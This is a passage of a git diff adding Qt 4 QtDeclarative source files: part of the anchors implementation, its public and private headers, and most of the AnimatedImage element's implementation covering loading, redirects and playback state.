+{
+ Q_D(QDeclarativeAnchors);
+ if (d->margins == offset)
+ return;
+ //###Is it significantly faster to set them directly so we can call fillChanged only once?
+ if(!d->rightMargin || d->rightMargin == d->margins)
+ setRightMargin(offset);
+ if(!d->leftMargin || d->leftMargin == d->margins)
+ setLeftMargin(offset);
+ if(!d->topMargin || d->topMargin == d->margins)
+ setTopMargin(offset);
+ if(!d->bottomMargin || d->bottomMargin == d->margins)
+ setBottomMargin(offset);
+ d->margins = offset;
+ emit marginsChanged();
+
+}
+
+qreal QDeclarativeAnchors::horizontalCenterOffset() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->hCenterOffset;
+}
+
+void QDeclarativeAnchors::setHorizontalCenterOffset(qreal offset)
+{
+ Q_D(QDeclarativeAnchors);
+ if (d->hCenterOffset == offset)
+ return;
+ d->hCenterOffset = offset;
+ if(d->centerIn)
+ d->centerInChanged();
+ else
+ d->updateHorizontalAnchors();
+ emit horizontalCenterOffsetChanged();
+}
+
+qreal QDeclarativeAnchors::topMargin() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->topMargin;
+}
+
+void QDeclarativeAnchors::setTopMargin(qreal offset)
+{
+ Q_D(QDeclarativeAnchors);
+ if (d->topMargin == offset)
+ return;
+ d->topMargin = offset;
+ if(d->fill)
+ d->fillChanged();
+ else
+ d->updateVerticalAnchors();
+ emit topMarginChanged();
+}
+
+qreal QDeclarativeAnchors::bottomMargin() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->bottomMargin;
+}
+
+void QDeclarativeAnchors::setBottomMargin(qreal offset)
+{
+ Q_D(QDeclarativeAnchors);
+ if (d->bottomMargin == offset)
+ return;
+ d->bottomMargin = offset;
+ if(d->fill)
+ d->fillChanged();
+ else
+ d->updateVerticalAnchors();
+ emit bottomMarginChanged();
+}
+
+qreal QDeclarativeAnchors::verticalCenterOffset() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->vCenterOffset;
+}
+
+void QDeclarativeAnchors::setVerticalCenterOffset(qreal offset)
+{
+ Q_D(QDeclarativeAnchors);
+ if (d->vCenterOffset == offset)
+ return;
+ d->vCenterOffset = offset;
+ if(d->centerIn)
+ d->centerInChanged();
+ else
+ d->updateVerticalAnchors();
+ emit verticalCenterOffsetChanged();
+}
+
+qreal QDeclarativeAnchors::baselineOffset() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->baselineOffset;
+}
+
+void QDeclarativeAnchors::setBaselineOffset(qreal offset)
+{
+ Q_D(QDeclarativeAnchors);
+ if (d->baselineOffset == offset)
+ return;
+ d->baselineOffset = offset;
+ d->updateVerticalAnchors();
+ emit baselineOffsetChanged();
+}
+
+QDeclarativeAnchors::Anchors QDeclarativeAnchors::usedAnchors() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->usedAnchors;
+}
+
+bool QDeclarativeAnchorsPrivate::checkHValid() const
+{
+ if (usedAnchors & QDeclarativeAnchors::LeftAnchor &&
+ usedAnchors & QDeclarativeAnchors::RightAnchor &&
+ usedAnchors & QDeclarativeAnchors::HCenterAnchor) {
+ qmlInfo(item) << QDeclarativeAnchors::tr("Cannot specify left, right, and hcenter anchors.");
+ return false;
+ }
+
+ return true;
+}
+
+bool QDeclarativeAnchorsPrivate::checkHAnchorValid(QDeclarativeAnchorLine anchor) const
+{
+ if (!anchor.item) {
+ qmlInfo(item) << QDeclarativeAnchors::tr("Cannot anchor to a null item.");
+ return false;
+ } else if (anchor.anchorLine & QDeclarativeAnchorLine::Vertical_Mask) {
+ qmlInfo(item) << QDeclarativeAnchors::tr("Cannot anchor a horizontal edge to a vertical edge.");
+ return false;
+ } else if (anchor.item != item->parentItem() && anchor.item->parentItem() != item->parentItem()){
+ qmlInfo(item) << QDeclarativeAnchors::tr("Cannot anchor to an item that isn't a parent or sibling.");
+ return false;
+ } else if (anchor.item == item) {
+ qmlInfo(item) << QDeclarativeAnchors::tr("Cannot anchor item to self.");
+ return false;
+ }
+
+ return true;
+}
+
+bool QDeclarativeAnchorsPrivate::checkVValid() const
+{
+ if (usedAnchors & QDeclarativeAnchors::TopAnchor &&
+ usedAnchors & QDeclarativeAnchors::BottomAnchor &&
+ usedAnchors & QDeclarativeAnchors::VCenterAnchor) {
+ qmlInfo(item) << QDeclarativeAnchors::tr("Cannot specify top, bottom, and vcenter anchors.");
+ return false;
+ } else if (usedAnchors & QDeclarativeAnchors::BaselineAnchor &&
+ (usedAnchors & QDeclarativeAnchors::TopAnchor ||
+ usedAnchors & QDeclarativeAnchors::BottomAnchor ||
+ usedAnchors & QDeclarativeAnchors::VCenterAnchor)) {
+ qmlInfo(item) << QDeclarativeAnchors::tr("Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors.");
+ return false;
+ }
+
+ return true;
+}
+
+bool QDeclarativeAnchorsPrivate::checkVAnchorValid(QDeclarativeAnchorLine anchor) const
+{
+ if (!anchor.item) {
+ qmlInfo(item) << QDeclarativeAnchors::tr("Cannot anchor to a null item.");
+ return false;
+ } else if (anchor.anchorLine & QDeclarativeAnchorLine::Horizontal_Mask) {
+ qmlInfo(item) << QDeclarativeAnchors::tr("Cannot anchor a vertical edge to a horizontal edge.");
+ return false;
+ } else if (anchor.item != item->parentItem() && anchor.item->parentItem() != item->parentItem()){
+ qmlInfo(item) << QDeclarativeAnchors::tr("Cannot anchor to an item that isn't a parent or sibling.");
+ return false;
+ } else if (anchor.item == item){
+ qmlInfo(item) << QDeclarativeAnchors::tr("Cannot anchor item to self.");
+ return false;
+ }
+
+ return true;
+}
+
+QT_END_NAMESPACE
+
+#include <moc_qdeclarativeanchors_p.cpp>
+
diff --git a/src/declarative/graphicsitems/qdeclarativeanchors_p.h b/src/declarative/graphicsitems/qdeclarativeanchors_p.h
new file mode 100644
index 00000000..6297febd
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeanchors_p.h
@@ -0,0 +1,204 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEANCHORS_H
+#define QDECLARATIVEANCHORS_H
+
+#include "qdeclarativeitem.h"
+
+#include <qdeclarative.h>
+
+#include <QtCore/QObject>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeAnchorsPrivate;
+class QDeclarativeAnchorLine;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeAnchors : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QDeclarativeAnchorLine left READ left WRITE setLeft RESET resetLeft NOTIFY leftChanged)
+ Q_PROPERTY(QDeclarativeAnchorLine right READ right WRITE setRight RESET resetRight NOTIFY rightChanged)
+ Q_PROPERTY(QDeclarativeAnchorLine horizontalCenter READ horizontalCenter WRITE setHorizontalCenter RESET resetHorizontalCenter NOTIFY horizontalCenterChanged)
+ Q_PROPERTY(QDeclarativeAnchorLine top READ top WRITE setTop RESET resetTop NOTIFY topChanged)
+ Q_PROPERTY(QDeclarativeAnchorLine bottom READ bottom WRITE setBottom RESET resetBottom NOTIFY bottomChanged)
+ Q_PROPERTY(QDeclarativeAnchorLine verticalCenter READ verticalCenter WRITE setVerticalCenter RESET resetVerticalCenter NOTIFY verticalCenterChanged)
+ Q_PROPERTY(QDeclarativeAnchorLine baseline READ baseline WRITE setBaseline RESET resetBaseline NOTIFY baselineChanged)
+ Q_PROPERTY(qreal margins READ margins WRITE setMargins NOTIFY marginsChanged)
+ Q_PROPERTY(qreal leftMargin READ leftMargin WRITE setLeftMargin NOTIFY leftMarginChanged)
+ Q_PROPERTY(qreal rightMargin READ rightMargin WRITE setRightMargin NOTIFY rightMarginChanged)
+ Q_PROPERTY(qreal horizontalCenterOffset READ horizontalCenterOffset WRITE setHorizontalCenterOffset NOTIFY horizontalCenterOffsetChanged)
+ Q_PROPERTY(qreal topMargin READ topMargin WRITE setTopMargin NOTIFY topMarginChanged)
+ Q_PROPERTY(qreal bottomMargin READ bottomMargin WRITE setBottomMargin NOTIFY bottomMarginChanged)
+ Q_PROPERTY(qreal verticalCenterOffset READ verticalCenterOffset WRITE setVerticalCenterOffset NOTIFY verticalCenterOffsetChanged)
+ Q_PROPERTY(qreal baselineOffset READ baselineOffset WRITE setBaselineOffset NOTIFY baselineOffsetChanged)
+ Q_PROPERTY(QGraphicsObject *fill READ fill WRITE setFill RESET resetFill NOTIFY fillChanged)
+ Q_PROPERTY(QGraphicsObject *centerIn READ centerIn WRITE setCenterIn RESET resetCenterIn NOTIFY centerInChanged)
+
+public:
+ QDeclarativeAnchors(QObject *parent=0);
+ QDeclarativeAnchors(QGraphicsObject *item, QObject *parent=0);
+ virtual ~QDeclarativeAnchors();
+
+ enum Anchor {
+ LeftAnchor = 0x01,
+ RightAnchor = 0x02,
+ TopAnchor = 0x04,
+ BottomAnchor = 0x08,
+ HCenterAnchor = 0x10,
+ VCenterAnchor = 0x20,
+ BaselineAnchor = 0x40,
+ Horizontal_Mask = LeftAnchor | RightAnchor | HCenterAnchor,
+ Vertical_Mask = TopAnchor | BottomAnchor | VCenterAnchor | BaselineAnchor
+ };
+ Q_DECLARE_FLAGS(Anchors, Anchor)
+
+ QDeclarativeAnchorLine left() const;
+ void setLeft(const QDeclarativeAnchorLine &edge);
+ void resetLeft();
+
+ QDeclarativeAnchorLine right() const;
+ void setRight(const QDeclarativeAnchorLine &edge);
+ void resetRight();
+
+ QDeclarativeAnchorLine horizontalCenter() const;
+ void setHorizontalCenter(const QDeclarativeAnchorLine &edge);
+ void resetHorizontalCenter();
+
+ QDeclarativeAnchorLine top() const;
+ void setTop(const QDeclarativeAnchorLine &edge);
+ void resetTop();
+
+ QDeclarativeAnchorLine bottom() const;
+ void setBottom(const QDeclarativeAnchorLine &edge);
+ void resetBottom();
+
+ QDeclarativeAnchorLine verticalCenter() const;
+ void setVerticalCenter(const QDeclarativeAnchorLine &edge);
+ void resetVerticalCenter();
+
+ QDeclarativeAnchorLine baseline() const;
+ void setBaseline(const QDeclarativeAnchorLine &edge);
+ void resetBaseline();
+
+ qreal leftMargin() const;
+ void setLeftMargin(qreal);
+
+ qreal rightMargin() const;
+ void setRightMargin(qreal);
+
+ qreal horizontalCenterOffset() const;
+ void setHorizontalCenterOffset(qreal);
+
+ qreal topMargin() const;
+ void setTopMargin(qreal);
+
+ qreal bottomMargin() const;
+ void setBottomMargin(qreal);
+
+ qreal margins() const;
+ void setMargins(qreal);
+
+ qreal verticalCenterOffset() const;
+ void setVerticalCenterOffset(qreal);
+
+ qreal baselineOffset() const;
+ void setBaselineOffset(qreal);
+
+ QGraphicsObject *fill() const;
+ void setFill(QGraphicsObject *);
+ void resetFill();
+
+ QGraphicsObject *centerIn() const;
+ void setCenterIn(QGraphicsObject *);
+ void resetCenterIn();
+
+ Anchors usedAnchors() const;
+
+ void classBegin();
+ void componentComplete();
+
+ bool mirrored();
+
+Q_SIGNALS:
+ void leftChanged();
+ void rightChanged();
+ void topChanged();
+ void bottomChanged();
+ void verticalCenterChanged();
+ void horizontalCenterChanged();
+ void baselineChanged();
+ void fillChanged();
+ void centerInChanged();
+ void leftMarginChanged();
+ void rightMarginChanged();
+ void topMarginChanged();
+ void bottomMarginChanged();
+ void marginsChanged();
+ void verticalCenterOffsetChanged();
+ void horizontalCenterOffsetChanged();
+ void baselineOffsetChanged();
+
+private:
+ friend class QDeclarativeItem;
+ friend class QDeclarativeItemPrivate;
+ friend class QDeclarativeGraphicsWidget;
+ Q_DISABLE_COPY(QDeclarativeAnchors)
+ Q_DECLARE_PRIVATE(QDeclarativeAnchors)
+ Q_PRIVATE_SLOT(d_func(), void _q_widgetGeometryChanged())
+ Q_PRIVATE_SLOT(d_func(), void _q_widgetDestroyed(QObject *obj))
+};
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeAnchors::Anchors)
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeAnchors)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativeanchors_p_p.h b/src/declarative/graphicsitems/qdeclarativeanchors_p_p.h
new file mode 100644
index 00000000..f76443c0
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeanchors_p_p.h
@@ -0,0 +1,170 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEANCHORS_P_H
+#define QDECLARATIVEANCHORS_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeanchors_p.h"
+#include "private/qdeclarativeitemchangelistener_p.h"
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeAnchorLine
+{
+public:
+ QDeclarativeAnchorLine() : item(0), anchorLine(Invalid) {}
+
+ enum AnchorLine {
+ Invalid = 0x0,
+ Left = 0x01,
+ Right = 0x02,
+ Top = 0x04,
+ Bottom = 0x08,
+ HCenter = 0x10,
+ VCenter = 0x20,
+ Baseline = 0x40,
+ Horizontal_Mask = Left | Right | HCenter,
+ Vertical_Mask = Top | Bottom | VCenter | Baseline
+ };
+
+ QGraphicsObject *item;
+ AnchorLine anchorLine;
+};
+
+inline bool operator==(const QDeclarativeAnchorLine& a, const QDeclarativeAnchorLine& b)
+{
+ return a.item == b.item && a.anchorLine == b.anchorLine;
+}
+
+class QDeclarativeAnchorsPrivate : public QObjectPrivate, public QDeclarativeItemChangeListener
+{
+ Q_DECLARE_PUBLIC(QDeclarativeAnchors)
+public:
+ QDeclarativeAnchorsPrivate(QGraphicsObject *i)
+ : componentComplete(true), updatingMe(false), updatingHorizontalAnchor(0),
+ updatingVerticalAnchor(0), updatingFill(0), updatingCenterIn(0), item(i), usedAnchors(0), fill(0),
+ centerIn(0), leftMargin(0), rightMargin(0), topMargin(0), bottomMargin(0),
+ margins(0), vCenterOffset(0), hCenterOffset(0), baselineOffset(0)
+ {
+ }
+
+ void clearItem(QGraphicsObject *);
+
+ void addDepend(QGraphicsObject *);
+ void remDepend(QGraphicsObject *);
+ bool isItemComplete() const;
+
+ bool componentComplete:1;
+ bool updatingMe:1;
+ uint updatingHorizontalAnchor:2;
+ uint updatingVerticalAnchor:2;
+ uint updatingFill:2;
+ uint updatingCenterIn:2;
+
+ void setItemHeight(qreal);
+ void setItemWidth(qreal);
+ void setItemX(qreal);
+ void setItemY(qreal);
+ void setItemPos(const QPointF &);
+ void setItemSize(const QSizeF &);
+
+ void updateOnComplete();
+ void updateMe();
+
+ // QDeclarativeItemGeometryListener interface
+ void itemGeometryChanged(QDeclarativeItem *, const QRectF &, const QRectF &);
+ void _q_widgetDestroyed(QObject *);
+ void _q_widgetGeometryChanged();
+ QDeclarativeAnchorsPrivate *anchorPrivate() { return this; }
+
+ bool checkHValid() const;
+ bool checkVValid() const;
+ bool checkHAnchorValid(QDeclarativeAnchorLine anchor) const;
+ bool checkVAnchorValid(QDeclarativeAnchorLine anchor) const;
+ bool calcStretch(const QDeclarativeAnchorLine &edge1, const QDeclarativeAnchorLine &edge2, qreal offset1, qreal offset2, QDeclarativeAnchorLine::AnchorLine line, qreal &stretch);
+
+ bool isMirrored() const;
+ void updateHorizontalAnchors();
+ void updateVerticalAnchors();
+ void fillChanged();
+ void centerInChanged();
+
+ QGraphicsObject *item;
+ QDeclarativeAnchors::Anchors usedAnchors;
+
+ QGraphicsObject *fill;
+ QGraphicsObject *centerIn;
+
+ QDeclarativeAnchorLine left;
+ QDeclarativeAnchorLine right;
+ QDeclarativeAnchorLine top;
+ QDeclarativeAnchorLine bottom;
+ QDeclarativeAnchorLine vCenter;
+ QDeclarativeAnchorLine hCenter;
+ QDeclarativeAnchorLine baseline;
+
+ qreal leftMargin;
+ qreal rightMargin;
+ qreal topMargin;
+ qreal bottomMargin;
+ qreal margins;
+ qreal vCenterOffset;
+ qreal hCenterOffset;
+ qreal baselineOffset;
+};
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(QDeclarativeAnchorLine)
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp
new file mode 100644
index 00000000..49a8dfd2
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp
@@ -0,0 +1,404 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeanimatedimage_p.h"
+#include "private/qdeclarativeanimatedimage_p_p.h"
+
+#ifndef QT_NO_MOVIE
+
+#include <qdeclarativeinfo.h>
+#include <private/qdeclarativeengine_p.h>
+
+#include <QMovie>
+#include <QNetworkRequest>
+#include <QNetworkReply>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass AnimatedImage QDeclarativeAnimatedImage
+ \inherits Image
+ \since 4.7
+ \ingroup basic-visual-elements
+
+ The AnimatedImage element extends the features of the \l Image element, providing
+ a way to play animations stored as images containing a series of frames,
+ such as those stored in GIF files.
+
+ Information about the current frame and totla length of the animation can be
+ obtained using the \l currentFrame and \l frameCount properties. You can
+ start, pause and stop the animation by changing the values of the \l playing
+ and \l paused properties.
+
+ The full list of supported formats can be determined with QMovie::supportedFormats().
+
+ \section1 Example Usage
+
+ \beginfloatleft
+ \image animatedimageitem.gif
+ \endfloat
+
+ The following QML shows how to display an animated image and obtain information
+ about its state, such as the current frame and total number of frames.
+ The result is an animated image with a simple progress indicator underneath it.
+
+ \clearfloat
+ \snippet doc/src/snippets/declarative/animatedimage.qml document
+
+ \sa BorderImage, Image
+*/
+
+/*!
+ \qmlproperty url AnimatedImage::source
+
+ This property holds the URL that refers to the source image.
+
+ AnimatedImage can handle any image format supported by Qt, loaded from any
+ URL scheme supported by Qt.
+
+ \sa QDeclarativeImageProvider
+*/
+
+/*!
+ \qmlproperty bool AnimatedImage::asynchronous
+
+ Specifies that images on the local filesystem should be loaded
+ asynchronously in a separate thread. The default value is
+ false, causing the user interface thread to block while the
+ image is loaded. Setting \a asynchronous to true is useful where
+ maintaining a responsive user interface is more desirable
+ than having images immediately visible.
+
+ Note that this property is only valid for images read from the
+ local filesystem. Images loaded via a network resource (e.g. HTTP)
+ are always loaded asynchonously.
+*/
+
+/*!
+ \qmlproperty bool AnimatedImage::cache
+ \since QtQuick 1.1
+
+ Specifies whether the image should be cached. The default value is
+ true. Setting \a cache to false is useful when dealing with large images,
+ to make sure that they aren't cached at the expense of small 'ui element' images.
+*/
+
+/*!
+ \qmlproperty bool AnimatedImage::mirror
+ \since QtQuick 1.1
+
+ This property holds whether the image should be horizontally inverted
+ (effectively displaying a mirrored image).
+
+ The default value is false.
+*/
+
+QDeclarativeAnimatedImage::QDeclarativeAnimatedImage(QDeclarativeItem *parent)
+ : QDeclarativeImage(*(new QDeclarativeAnimatedImagePrivate), parent)
+{
+}
+
+QDeclarativeAnimatedImage::~QDeclarativeAnimatedImage()
+{
+ Q_D(QDeclarativeAnimatedImage);
+ delete d->_movie;
+}
+
+/*!
+ \qmlproperty bool AnimatedImage::paused
+ This property holds whether the animated image is paused.
+
+ By default, this property is false. Set it to true when you want to pause
+ the animation.
+*/
+bool QDeclarativeAnimatedImage::isPaused() const
+{
+ Q_D(const QDeclarativeAnimatedImage);
+ if(!d->_movie)
+ return false;
+ return d->_movie->state()==QMovie::Paused;
+}
+
+void QDeclarativeAnimatedImage::setPaused(bool pause)
+{
+ Q_D(QDeclarativeAnimatedImage);
+ if(pause == d->paused)
+ return;
+ d->paused = pause;
+ if(!d->_movie)
+ return;
+ d->_movie->setPaused(pause);
+}
+/*!
+ \qmlproperty bool AnimatedImage::playing
+ This property holds whether the animated image is playing.
+
+ By default, this property is true, meaning that the animation
+ will start playing immediately.
+*/
+bool QDeclarativeAnimatedImage::isPlaying() const
+{
+ Q_D(const QDeclarativeAnimatedImage);
+ if (!d->_movie)
+ return false;
+ return d->_movie->state()!=QMovie::NotRunning;
+}
+
+void QDeclarativeAnimatedImage::setPlaying(bool play)
+{
+ Q_D(QDeclarativeAnimatedImage);
+ if(play == d->playing)
+ return;
+ d->playing = play;
+ if (!d->_movie)
+ return;
+ if (play)
+ d->_movie->start();
+ else
+ d->_movie->stop();
+}
+
+/*!
+ \qmlproperty int AnimatedImage::currentFrame
+ \qmlproperty int AnimatedImage::frameCount
+
+ currentFrame is the frame that is currently visible. By monitoring this property
+ for changes, you can animate other items at the same time as the image.
+
+ frameCount is the number of frames in the animation. For some animation formats,
+ frameCount is unknown and has a value of zero.
+*/
+int QDeclarativeAnimatedImage::currentFrame() const
+{
+ Q_D(const QDeclarativeAnimatedImage);
+ if (!d->_movie)
+ return d->preset_currentframe;
+ return d->_movie->currentFrameNumber();
+}
+
+void QDeclarativeAnimatedImage::setCurrentFrame(int frame)
+{
+ Q_D(QDeclarativeAnimatedImage);
+ if (!d->_movie) {
+ d->preset_currentframe = frame;
+ return;
+ }
+ d->_movie->jumpToFrame(frame);
+}
+
+int QDeclarativeAnimatedImage::frameCount() const
+{
+ Q_D(const QDeclarativeAnimatedImage);
+ if (!d->_movie)
+ return 0;
+ return d->_movie->frameCount();
+}
+
+void QDeclarativeAnimatedImage::setSource(const QUrl &url)
+{
+ Q_D(QDeclarativeAnimatedImage);
+ if (url == d->url)
+ return;
+
+ delete d->_movie;
+ d->_movie = 0;
+
+ if (d->reply) {
+ d->reply->deleteLater();
+ d->reply = 0;
+ }
+
+ d->url = url;
+ emit sourceChanged(d->url);
+
+ if (isComponentComplete())
+ load();
+}
+
+void QDeclarativeAnimatedImage::load()
+{
+ Q_D(QDeclarativeAnimatedImage);
+
+ QDeclarativeImageBase::Status oldStatus = d->status;
+ qreal oldProgress = d->progress;
+
+ if (d->url.isEmpty()) {
+ delete d->_movie;
+ d->setPixmap(QPixmap());
+ d->progress = 0;
+ d->status = Null;
+ if (d->status != oldStatus)
+ emit statusChanged(d->status);
+ if (d->progress != oldProgress)
+ emit progressChanged(d->progress);
+ } else {
+#ifndef QT_NO_LOCALFILE_OPTIMIZED_QML
+ QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(d->url);
+ if (!lf.isEmpty()) {
+ //### should be unified with movieRequestFinished
+ d->_movie = new QMovie(lf);
+ if (!d->_movie->isValid()){
+ qmlInfo(this) << "Error Reading Animated Image File " << d->url.toString();
+ delete d->_movie;
+ d->_movie = 0;
+ d->status = Error;
+ if (d->status != oldStatus)
+ emit statusChanged(d->status);
+ return;
+ }
+ connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)),
+ this, SLOT(playingStatusChanged()));
+ connect(d->_movie, SIGNAL(frameChanged(int)),
+ this, SLOT(movieUpdate()));
+ d->_movie->setCacheMode(QMovie::CacheAll);
+ if(d->playing)
+ d->_movie->start();
+ else
+ d->_movie->jumpToFrame(0);
+ if(d->paused)
+ d->_movie->setPaused(true);
+ d->setPixmap(d->_movie->currentPixmap());
+ d->status = Ready;
+ d->progress = 1.0;
+ if (d->status != oldStatus)
+ emit statusChanged(d->status);
+ if (d->progress != oldProgress)
+ emit progressChanged(d->progress);
+ return;
+ }
+#endif
+ d->status = Loading;
+ d->progress = 0;
+ emit statusChanged(d->status);
+ emit progressChanged(d->progress);
+ QNetworkRequest req(d->url);
+ req.setAttribute(QNetworkRequest::HttpPipeliningAllowedAttribute, true);
+ d->reply = qmlEngine(this)->networkAccessManager()->get(req);
+ QObject::connect(d->reply, SIGNAL(finished()),
+ this, SLOT(movieRequestFinished()));
+ QObject::connect(d->reply, SIGNAL(downloadProgress(qint64,qint64)),
+ this, SLOT(requestProgress(qint64,qint64)));
+ }
+}
+
+#define ANIMATEDIMAGE_MAXIMUM_REDIRECT_RECURSION 16
+
+void QDeclarativeAnimatedImage::movieRequestFinished()
+{
+ Q_D(QDeclarativeAnimatedImage);
+
+ d->redirectCount++;
+ if (d->redirectCount < ANIMATEDIMAGE_MAXIMUM_REDIRECT_RECURSION) {
+ QVariant redirect = d->reply->attribute(QNetworkRequest::RedirectionTargetAttribute);
+ if (redirect.isValid()) {
+ QUrl url = d->reply->url().resolved(redirect.toUrl());
+ d->reply->deleteLater();
+ d->reply = 0;
+ setSource(url);
+ return;
+ }
+ }
+ d->redirectCount=0;
+
+ d->_movie = new QMovie(d->reply);
+ if (!d->_movie->isValid()){
+#ifndef QT_NO_DEBUG_STREAM
+ qmlInfo(this) << "Error Reading Animated Image File " << d->url;
+#endif
+ delete d->_movie;
+ d->_movie = 0;
+ d->status = Error;
+ emit statusChanged(d->status);
+ return;
+ }
+ connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)),
+ this, SLOT(playingStatusChanged()));
+ connect(d->_movie, SIGNAL(frameChanged(int)),
+ this, SLOT(movieUpdate()));
+ d->_movie->setCacheMode(QMovie::CacheAll);
+ if(d->playing)
+ d->_movie->start();
+ if (d->paused || !d->playing) {
+ d->_movie->jumpToFrame(d->preset_currentframe);
+ d->preset_currentframe = 0;
+ }
+ if(d->paused)
+ d->_movie->setPaused(true);
+ d->setPixmap(d->_movie->currentPixmap());
+ d->status = Ready;
+ emit statusChanged(d->status);
+}
+
+void QDeclarativeAnimatedImage::movieUpdate()
+{
+ Q_D(QDeclarativeAnimatedImage);
+ d->setPixmap(d->_movie->currentPixmap());
+ emit frameChanged();
+}
+
+void QDeclarativeAnimatedImage::playingStatusChanged()
+{
+ Q_D(QDeclarativeAnimatedImage);
+ if((d->_movie->state() != QMovie::NotRunning) != d->playing){
+ d->playing = (d->_movie->state() != QMovie::NotRunning);
+ emit playingChanged();
+ }
+ if((d->_movie->state() == QMovie::Paused) != d->paused){
+ d->playing = (d->_movie->state() == QMovie::Paused);
+ emit pausedChanged();
+ }
+}
+
+void QDeclarativeAnimatedImage::componentComplete()
+{
+ Q_D(QDeclarativeAnimatedImage);
+ QDeclarativeItem::componentComplete(); // NOT QDeclarativeImage
+ if (d->url.isValid())
+ load();
